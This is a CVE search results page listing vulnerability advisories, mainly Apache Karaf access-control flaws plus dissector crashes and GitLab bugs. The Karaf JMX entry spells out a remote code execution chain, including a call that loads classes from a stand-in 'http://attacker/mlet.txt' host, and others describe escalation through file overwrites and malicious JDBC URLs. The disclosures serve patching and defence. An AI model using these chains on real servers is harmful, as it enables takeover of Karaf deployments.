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Search Results (399175 CVEs found)
| CVE | Vendors | Products | Updated | CVSS v3.1 |
|---|---|---|---|---|
| CVE-2026-96416 | 2026-09-29 | 5.5 Medium | ||
| IEEE 802.11 protocol dissector crash in 4.6.0 to 4.6.8 and 4.4.0 to 4.4.18 allows denial of service | ||||
| CVE-2026-96415 | 2026-09-29 | 5.5 Medium | ||
| Catapult DCT2000 protocol dissector crash in 4.6.0 to 4.6.8 and 4.4.0 to 4.4.18 allows denial of service | ||||
| CVE-2026-95395 | 2026-09-29 | 5.5 Medium | ||
| IEEE C37.118 Synchrophasor protocol dissector memory leak in 4.6.0 to 4.6.8 and 4.4.0 to 4.4.18 allows denial of service | ||||
| CVE-2026-95394 | 2026-09-29 | 4.7 Medium | ||
| Microsoft Network Monitor file parser large loop in 4.6.0 to 4.6.8 and 4.4.0 to 4.4.18 allows denial of service | ||||
| CVE-2026-95393 | 2026-09-29 | 4.7 Medium | ||
| CSN.1 protocol dissector crash in 4.6.0 to 4.6.8 and 4.4.0 to 4.4.18 allows denial of service | ||||
| CVE-2026-95392 | 2026-09-29 | 5.5 Medium | ||
| MBIM protocol dissector crash in 4.6.0 to 4.6.8 and 4.4.0 to 4.4.18 allows denial of service | ||||
| CVE-2026-95391 | 2026-09-29 | 5.5 Medium | ||
| ZigBee ZCL protocol dissector crash in 4.6.0 to 4.6.8 allows denial of service | ||||
| CVE-2026-95390 | 2026-09-29 | 5.5 Medium | ||
| PEAK CAN TRC file parser crash in 4.6.0 to 4.6.8 allows denial of service | ||||
| CVE-2026-95389 | 2026-09-29 | 8.1 High | ||
| SCTP protocol dissector crash in 4.6.0 to 4.6.8 and 4.4.0 to 4.4.18 allows denial of service | ||||
| CVE-2026-95388 | 2026-09-29 | 5.5 Medium | ||
| Sharkd utility crash in 4.6.0 to 4.6.8 and 4.4.0 to 4.4.18 allows denial of service | ||||
| CVE-2026-95387 | 2026-09-29 | 8.1 High | ||
| SPDY protocol dissector crash in 4.6.0 to 4.6.8 and 4.4.0 to 4.4.18 allows denial of service | ||||
| CVE-2026-95386 | 2026-09-29 | 5.5 Medium | ||
| TTL file parser infinite loop in 4.6.0 to 4.6.8 allows denial of service | ||||
| CVE-2026-92142 | 2026-09-29 | N/A | ||
| Apache Karaf exposes a JMX MBeanServer guarded by KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a java.lang.reflect.Proxy around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in MBeanInvocationHandler#guarded: private final List<String> guarded = Collections.unmodifiableList( Arrays.asList("invoke", "getAttribute", "getAttributes", "setAttribute", "setAttributes")); The MBean lifecycle operations MBeanServer#createMBean, #registerMBean and #unregisterMBean are not in this list. Calls to these methods are forwarded directly to the underlying MBeanServer with no role check at all, regardless of the roles configured in etc/jmx.acl.*.cfg. As a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged "viewer" role, can call createMBean() to instantiate an arbitrary class as a MBean, and unregisterMBean() to remove it again afterwards, with no authorization check and no audit log entry (logging in KarafMBeanServerGuard only occurs on the RBAC-denial path, which this bypass never reaches). This is significant because javax.management.loading.MLet, a standard JDK MBean, can be instantiated this way. MLet acts as a remote classloader: its getMBeansFromURL(URL) operation fetches an MLet text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through KarafMBeanServerGuard's existing "invoke" check, but the default etc/jmx.acl.cfg grants the "viewer" role to any method name matching the wildcard rule "get* = viewer", a heuristic intended for read-only getters. Because "getMBeansFromURL" happens to start with "get", it also matches that rule, so a default installation grants "viewer" callers permission to invoke it without any Karaf-specific ACL naming MLet at all. Combined with the createMBean gap, this gives a "viewer"-role JMX client a path to remote code execution to the Karaf JVM: * Authenticate to JMX as any user with any role (e.g. "viewer"). * mbs.createMBean("javax.management.loading.MLet", objectName) is not in GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered. * mbs.invoke(objectName, "getMBeansFromURL", new Object[]{"http://attacker/mlet.txt"}, ...) is guarded, but the method name matches the default "get* = viewer" ACL rule, so permitted. * The remote .mlet file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM. * mbs.unregisterMBean(objectName) can be used to remove the MLet afterwards, also not in GUARDED_OPERATIONS, no RBAC check, no audit trail. The fix adds createMBean, registerMBean and unregisterMBean to the guarded operation list, resolves required roles for them from the jmx.acl* configuration by ObjectName and (for createMBean/registerMBean) MBean class name, and ships default etc/jmx.acl.cfg entries restricting all three operations to the "admin" role. This allows deployments to also write class-name-specific rule, e.g.: createMBean(java.lang.String)[/javax\.management\.loading\..*/] = admin Apache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-"admin" JMX credentiels. | ||||
| CVE-2026-91085 | 2026-09-29 | N/A | ||
| Apache Karaf's shell/SSH command security is enforced by per-scope ACL configuration files (etc/org.apache.karaf.command.acl.<scope>.cfg). SecuredSessionFactoryImpl.checkSecurity() resolves the roles required for an invocation and, when no ACL rule matches the command, fails open: ACLConfigurationParser.Specificity.NO_MATCH sets passCheck = true. The safety valve for this, karaf.secured.command.compulsory.roles, ships commented out in etc/system.properties, so an unmatched command is allowed for any authenticated user. The shipped org.apache.karaf.command.acl.config ACL (assemblies/features/standard/src/main/feature/feature.xml, mirrored into instance/.../etc/org.apache.karaf.command.acl.config.cfg) has no install entry. It restricts delete to admin, restricts edit/property-*/update on the jmx.acl.*, org.apache.karaf.command.acl.* and org.apache.karaf.service.acl.* PIDs to admin, and allows manager for everything else, but config:install was simply unmatched, and therefore allowed for any authenticated user, including one holding only the viewer role. config:install <url> <finalname> fetches url and writes it into ${karaf.etc} as finalname. It calls PathUtils.checkWithin() to block .. traversal outside karaf.etc, but that folder holds every security-relevant file Karaf ships: users.properties, keys.properties, host.key, and all org.apache.karaf.*.acl.* files, including the very ACL file that (mis)governs this command. With -o/--override, an existing file is overwritten with attacker-controlled bytes fetched from an arbitrary URL. Because felix.fileinstall.dir = ${karaf.etc} (etc/config.properties), Felix FileInstall also watches and reloads any .cfg file dropped there, closing the loop without requiring a restart. By contrast, bundle:install, feature:install and kar:install are all admin-only in their own ACLs, and config:delete is admin in this same ACL, config:install was the outlier. MitigationAdd install = admin in etc/org.apache.karaf.command.acl.config.cfg (create the file is absent), and/or set karaf.secured.command.compulsory.roles=admin in etc/system.properties (and restart) to make unmatched commands fail closed by default. | ||||
| CVE-2026-91048 | 2026-09-29 | N/A | ||
| The jdbc shell command scope shipped no org.apache.karaf.command.acl.jdbc.cfg. Karaf's command guard (SecuredSessionFactoryImpl) treats a command with no matching ACL rule as allowed, so any authenticated shell session (including one holding only the viewer role) could run every jdbc:* command. jdbc:ds-create stores a fully attacker-controlled JDBC URL into a pax-jdbc-config factory Configuration with no validation. pax-jdbc-config reactively turns that into a live DataSource. Several JDBC drivers run code or SQL at connection time based on URL parameters (e.g. H2 INIT=RUNSCRIPT), so a viewer-level shell user could reach arbitrary code execution, bypassing the admin-role gate that already protects shell:exec. This is a privilege-escalation-to-RCE chain, not merely an "admin misconfiguration". The same applies to jms:* shell commands. | ||||
| CVE-2026-91012 | 2026-09-29 | 8.8 High | ||
| org.apache.karaf.config.core.impl.ConfigRepositoryImpl#update(pid, properties), which backs the "config" MBean and the config:* shell commands, derives the file it writes a configuration to from caller-supplied input without checking that the result stays inside ${karaf.etc}: * if the submitted property map contains a felix.fileinstall.filename entry, that value is turned directly into a File (getCfgFileFromProperty), so it can point to any absolute path the Karaf process can write to; * otherwise the configuration PID is concatenated verbatim into the target file name (generateConfigFilename(): new File(karaf.etc, pid + ".cfg")), so a PID containing ".." segments resolves outside ${karaf.etc}. createFactoryConfiguration() has the same issue via the factory PID/alias. Both code paths are reachable by any caller holding the "manager" role under Karaf's shipped command/JMX ACL (org.apache.karaf.command.acl.conf.cfg: "update = manager"). Such a user can therefore write attacker-controlled content to any file the Karaf process can write, including files the same ACL otherwise reserves to "admin" (etc/users.properties, etc/*.acl.*.cfg, etc/org.apache.karaf.management.cfg, and similar), allowing a manager-role user to grant themselves the admin role or otherwise take over the container. ConfigMBeanImpl.install() and the config:install shell command already guarded the equivalent risk on their own code path with a finalname.contains("..") string check, but that check does not stop absolute paths or symlink-based escapes, and it was never applied to ConfigRepositoryImpl.update() / createFactoryConfiguration() at all. | ||||
| CVE-2026-8937 | 1 Gitlab | 1 Gitlab | 2026-09-29 | 4.3 Medium |
| GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.0 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1 that under certain conditions could have allowed an authenticated user to read private child issue contents, including titles and descriptions, from projects they had no access to, due to missing authorization checks on linked work items within visible epics. | ||||
| CVE-2026-84739 | 1 Gitlab | 1 Gitlab | 2026-09-29 | 8.7 High |
| GitLab has remediated an issue in GitLab CE/EE affecting all versions from 13.11 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1 that under certain conditions could have allowed an authenticated user to execute arbitrary JavaScript in the context of another user's browser session due to improper sanitization of path components in the merge request diff viewer. | ||||
| CVE-2026-7395 | 2026-09-29 | N/A | ||
| Asset Suite allows unauthenticated users to access HTTPPublishAdapterTestServlet that can be used for configuration file upload, leading to information disclosure and integrity compromise. The HTTPPublishAdapterTestServlet is specifically meant for testing purposes to be used in a non-production environment. | ||||
| CVE-2026-76718 | 2026-09-29 | 8.2 High | ||
| A potential security vulnerability in HPE OneView can be exploited to allow remote session hijacking or other unauthorized actions. | ||||